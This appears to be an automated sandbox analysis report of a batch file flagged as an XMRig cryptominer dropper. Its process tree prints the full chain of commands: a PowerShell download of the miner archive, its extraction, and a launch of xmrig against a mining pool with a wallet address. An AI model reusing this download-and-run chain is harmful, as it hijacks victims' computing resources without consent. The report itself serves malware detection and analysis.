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Analysis

  • max time kernel
    1793s
  • max time network
    1799s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    30/12/2023, 07:23

General

  • Target

    tesy - Copy (11).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (11).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1524
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3892
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3516
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:2068

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    42d4b1d78e6e092af15c7aef34e5cf45

    SHA1

    6cf9d0e674430680f67260194d3185667a2bb77b

    SHA256

    c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0

    SHA512

    d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    1d6ff063b216a2ac5b7a1d1bec9c2dcf

    SHA1

    552240f6e9ddee9ec5140ac5789a09cbad899b62

    SHA256

    e37479b2e6840087e13ba9d8bec4913a05e8e25aee420bc91eebb694b20a1147

    SHA512

    aad2d0cf714d99a4695584ef7068c4eb4712d9d56d565eb671916ad423abbecab05a64c5d0bd674e96c39dcc319c3868c6302091c42f313405f9e56ca033a5ac

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cfcotk51.e2f.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    81KB

    MD5

    582d397f5a3b1507c859b97644ff1733

    SHA1

    9b03bd40c99f9ffed2d98de304598ff45e76eab2

    SHA256

    b097edf097729fb058e603324669604ceea5e1b849dec10db52845b8449c235c

    SHA512

    70673c0a620c207efed82a6a0e5a1b3d850c8dc759b7fcd9ed1da308229ff54f0eec50e8bf2b866ef092601b6a299d828de40693528a0ba6b9b42b003d13fec4

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    48KB

    MD5

    e4bb90df159eed892ef126eae9569692

    SHA1

    5a04944fc00dbfe8462c7a66e53569f04e407acf

    SHA256

    f16f8d6c3366cd6cbc4be5ebe00e44a6d894a81dc9baeddcf01c498a6841bb5e

    SHA512

    6ea53cef1b2859b8a99e8e81429fa3bcde97be660b5c841a4e8ba2a59322c1fb6f97169bf280aee37266a6b29d3d3ba8d7e275e9762a9e9cf308b81a5b57c36a

  • memory/2068-147-0x00007FF746B80000-0x00007FF747683000-memory.dmp

    Filesize

    11.0MB

  • memory/2068-123-0x00007FF746B80000-0x00007FF747683000-memory.dmp

    Filesize

    11.0MB

  • memory/2068-188-0x00007FF746B80000-0x00007FF747683000-memory.dmp

    Filesize

    11.0MB

  • memory/2068-187-0x00007FF746B80000-0x00007FF747683000-memory.dmp

    Filesize

    11.0MB

  • memory/2068-186-0x00007FF746B80000-0x00007FF747683000-memory.dmp

    Filesize

    11.0MB

  • memory/2068-185-0x00007FF746B80000-0x00007FF747683000-memory.dmp

    Filesize

    11.0MB

  • memory/2068-184-0x00007FF746B80000-0x00007FF747683000-memory.dmp

    Filesize

    11.0MB

  • memory/2068-183-0x00007FF746B80000-0x00007FF747683000-memory.dmp

    Filesize

    11.0MB

  • memory/2068-182-0x00007FF746B80000-0x00007FF747683000-memory.dmp

    Filesize

    11.0MB

  • memory/2068-181-0x00007FF746B80000-0x00007FF747683000-memory.dmp

    Filesize

    11.0MB

  • memory/2068-180-0x00007FF746B80000-0x00007FF747683000-memory.dmp

    Filesize

    11.0MB

  • memory/2068-179-0x00007FF746B80000-0x00007FF747683000-memory.dmp

    Filesize

    11.0MB

  • memory/2068-178-0x00007FF746B80000-0x00007FF747683000-memory.dmp

    Filesize

    11.0MB

  • memory/2068-177-0x00007FF746B80000-0x00007FF747683000-memory.dmp

    Filesize

    11.0MB

  • memory/2068-120-0x00000269E8BC0000-0x00000269E8BE0000-memory.dmp

    Filesize

    128KB

  • memory/2068-121-0x00007FF746B80000-0x00007FF747683000-memory.dmp

    Filesize

    11.0MB

  • memory/2068-122-0x00000269EA600000-0x00000269EA620000-memory.dmp

    Filesize

    128KB

  • memory/2068-150-0x00007FF746B80000-0x00007FF747683000-memory.dmp

    Filesize

    11.0MB

  • memory/2068-126-0x00000269EA640000-0x00000269EA660000-memory.dmp

    Filesize

    128KB

  • memory/2068-125-0x00000269EA620000-0x00000269EA640000-memory.dmp

    Filesize

    128KB

  • memory/2068-124-0x00007FF746B80000-0x00007FF747683000-memory.dmp

    Filesize

    11.0MB

  • memory/2068-127-0x00007FF746B80000-0x00007FF747683000-memory.dmp

    Filesize

    11.0MB

  • memory/2068-128-0x00007FF746B80000-0x00007FF747683000-memory.dmp

    Filesize

    11.0MB

  • memory/2068-130-0x00000269EA640000-0x00000269EA660000-memory.dmp

    Filesize

    128KB

  • memory/2068-129-0x00000269EA620000-0x00000269EA640000-memory.dmp

    Filesize

    128KB

  • memory/2068-131-0x00007FF746B80000-0x00007FF747683000-memory.dmp

    Filesize

    11.0MB

  • memory/2068-132-0x00007FF746B80000-0x00007FF747683000-memory.dmp

    Filesize

    11.0MB

  • memory/2068-133-0x00007FF746B80000-0x00007FF747683000-memory.dmp

    Filesize

    11.0MB

  • memory/2068-134-0x00007FF746B80000-0x00007FF747683000-memory.dmp

    Filesize

    11.0MB

  • memory/2068-135-0x00007FF746B80000-0x00007FF747683000-memory.dmp

    Filesize

    11.0MB

  • memory/2068-136-0x00007FF746B80000-0x00007FF747683000-memory.dmp

    Filesize

    11.0MB

  • memory/2068-137-0x00007FF746B80000-0x00007FF747683000-memory.dmp

    Filesize

    11.0MB

  • memory/2068-138-0x00007FF746B80000-0x00007FF747683000-memory.dmp

    Filesize

    11.0MB

  • memory/2068-139-0x00007FF746B80000-0x00007FF747683000-memory.dmp

    Filesize

    11.0MB

  • memory/2068-140-0x00007FF746B80000-0x00007FF747683000-memory.dmp

    Filesize

    11.0MB

  • memory/2068-141-0x00007FF746B80000-0x00007FF747683000-memory.dmp

    Filesize

    11.0MB

  • memory/2068-142-0x00007FF746B80000-0x00007FF747683000-memory.dmp

    Filesize

    11.0MB

  • memory/2068-143-0x00007FF746B80000-0x00007FF747683000-memory.dmp

    Filesize

    11.0MB

  • memory/2068-144-0x00007FF746B80000-0x00007FF747683000-memory.dmp

    Filesize

    11.0MB

  • memory/2068-145-0x00007FF746B80000-0x00007FF747683000-memory.dmp

    Filesize

    11.0MB

  • memory/2068-149-0x00007FF746B80000-0x00007FF747683000-memory.dmp

    Filesize

    11.0MB

  • memory/2068-176-0x00007FF746B80000-0x00007FF747683000-memory.dmp

    Filesize

    11.0MB

  • memory/2068-175-0x00007FF746B80000-0x00007FF747683000-memory.dmp

    Filesize

    11.0MB

  • memory/2068-146-0x00007FF746B80000-0x00007FF747683000-memory.dmp

    Filesize

    11.0MB

  • memory/2068-148-0x00007FF746B80000-0x00007FF747683000-memory.dmp

    Filesize

    11.0MB

  • memory/2068-151-0x00007FF746B80000-0x00007FF747683000-memory.dmp

    Filesize

    11.0MB

  • memory/2068-152-0x00007FF746B80000-0x00007FF747683000-memory.dmp

    Filesize

    11.0MB

  • memory/2068-153-0x00007FF746B80000-0x00007FF747683000-memory.dmp

    Filesize

    11.0MB

  • memory/2068-154-0x00007FF746B80000-0x00007FF747683000-memory.dmp

    Filesize

    11.0MB

  • memory/2068-155-0x00007FF746B80000-0x00007FF747683000-memory.dmp

    Filesize

    11.0MB

  • memory/2068-156-0x00007FF746B80000-0x00007FF747683000-memory.dmp

    Filesize

    11.0MB

  • memory/2068-157-0x00007FF746B80000-0x00007FF747683000-memory.dmp

    Filesize

    11.0MB

  • memory/2068-158-0x00007FF746B80000-0x00007FF747683000-memory.dmp

    Filesize

    11.0MB

  • memory/2068-159-0x00007FF746B80000-0x00007FF747683000-memory.dmp

    Filesize

    11.0MB

  • memory/2068-160-0x00007FF746B80000-0x00007FF747683000-memory.dmp

    Filesize

    11.0MB

  • memory/2068-161-0x00007FF746B80000-0x00007FF747683000-memory.dmp

    Filesize

    11.0MB

  • memory/2068-162-0x00007FF746B80000-0x00007FF747683000-memory.dmp

    Filesize

    11.0MB

  • memory/2068-163-0x00007FF746B80000-0x00007FF747683000-memory.dmp

    Filesize

    11.0MB

  • memory/2068-164-0x00007FF746B80000-0x00007FF747683000-memory.dmp

    Filesize

    11.0MB

  • memory/2068-165-0x00007FF746B80000-0x00007FF747683000-memory.dmp

    Filesize

    11.0MB

  • memory/2068-166-0x00007FF746B80000-0x00007FF747683000-memory.dmp

    Filesize

    11.0MB

  • memory/2068-167-0x00007FF746B80000-0x00007FF747683000-memory.dmp

    Filesize

    11.0MB

  • memory/2068-168-0x00007FF746B80000-0x00007FF747683000-memory.dmp

    Filesize

    11.0MB

  • memory/2068-169-0x00007FF746B80000-0x00007FF747683000-memory.dmp

    Filesize

    11.0MB

  • memory/2068-170-0x00007FF746B80000-0x00007FF747683000-memory.dmp

    Filesize

    11.0MB

  • memory/2068-171-0x00007FF746B80000-0x00007FF747683000-memory.dmp

    Filesize

    11.0MB

  • memory/2068-172-0x00007FF746B80000-0x00007FF747683000-memory.dmp

    Filesize

    11.0MB

  • memory/2068-173-0x00007FF746B80000-0x00007FF747683000-memory.dmp

    Filesize

    11.0MB

  • memory/2068-174-0x00007FF746B80000-0x00007FF747683000-memory.dmp

    Filesize

    11.0MB

  • memory/3516-66-0x000001FF76E00000-0x000001FF76E10000-memory.dmp

    Filesize

    64KB

  • memory/3516-42-0x000001FF76E00000-0x000001FF76E10000-memory.dmp

    Filesize

    64KB

  • memory/3516-41-0x000001FF76E00000-0x000001FF76E10000-memory.dmp

    Filesize

    64KB

  • memory/3516-117-0x00007FFEA3740000-0x00007FFEA412C000-memory.dmp

    Filesize

    9.9MB

  • memory/3516-80-0x000001FF77050000-0x000001FF77062000-memory.dmp

    Filesize

    72KB

  • memory/3516-93-0x000001FF76DE0000-0x000001FF76DEA000-memory.dmp

    Filesize

    40KB

  • memory/3516-40-0x00007FFEA3740000-0x00007FFEA412C000-memory.dmp

    Filesize

    9.9MB

  • memory/3892-26-0x00007FFEA3740000-0x00007FFEA412C000-memory.dmp

    Filesize

    9.9MB

  • memory/3892-6-0x00007FFEA3740000-0x00007FFEA412C000-memory.dmp

    Filesize

    9.9MB

  • memory/3892-4-0x000001E1E0820000-0x000001E1E0842000-memory.dmp

    Filesize

    136KB

  • memory/3892-25-0x000001E1E0710000-0x000001E1E0720000-memory.dmp

    Filesize

    64KB

  • memory/3892-7-0x000001E1E0710000-0x000001E1E0720000-memory.dmp

    Filesize

    64KB

  • memory/3892-9-0x000001E1E0710000-0x000001E1E0720000-memory.dmp

    Filesize

    64KB

  • memory/3892-10-0x000001E1E09D0000-0x000001E1E0A46000-memory.dmp

    Filesize

    472KB

  • memory/3892-27-0x000001E1E0710000-0x000001E1E0720000-memory.dmp

    Filesize

    64KB

  • memory/3892-28-0x000001E1E0710000-0x000001E1E0720000-memory.dmp

    Filesize

    64KB

  • memory/3892-29-0x000001E1E0710000-0x000001E1E0720000-memory.dmp

    Filesize

    64KB

  • memory/3892-34-0x00007FFEA3740000-0x00007FFEA412C000-memory.dmp

    Filesize

    9.9MB